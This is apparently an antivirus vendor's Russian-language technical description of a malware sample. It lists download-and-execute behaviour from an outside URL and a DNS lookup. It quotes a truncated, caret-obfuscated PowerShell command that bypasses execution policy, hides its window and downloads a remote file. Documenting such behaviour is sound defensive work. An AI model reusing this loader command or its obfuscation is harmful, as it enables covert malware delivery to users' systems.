Техническая информация
Вредоносные функции
Загружает и запускает на исполнение
- http://www.zoerpoled.top/read.php?f=1.gif как %appdata%.exe
Запускает на исполнение (эксплоит)
- '<SYSTEM32>\cmd.exe' /C "P^oW^ers^h^e^l^l.e^X^E ^-^Ex^eCUt^IO^N^P^olI^c^Y ^BypA^ss ^-NOP^RO^F^iLe -^Wind^ow^sty^le^ hidDeN (Ne^W-O^Bj^ect ^sy^s^T^E^m.Net.W^e^BCLIEn^t).^dO^wNl^oaDFILe(^'http://ww...
Сетевая активность
UDP
- DNS ASK zo###oled.top
Другое
Создает и запускает на исполнение
- '<SYSTEM32>\cmd.exe' /C "P^oW^ers^h^e^l^l.e^X^E ^-^Ex^eCUt^IO^N^P^olI^c^Y ^BypA^ss ^-NOP^RO^F^iLe -^Wind^ow^sty^le^ hidDeN (Ne^W-O^Bj^ect ^sy^s^T^E^m.Net.W^e^BCLIEn^t).^dO^wNl^oaDFILe(^'http://ww...' (со скрытым окном)
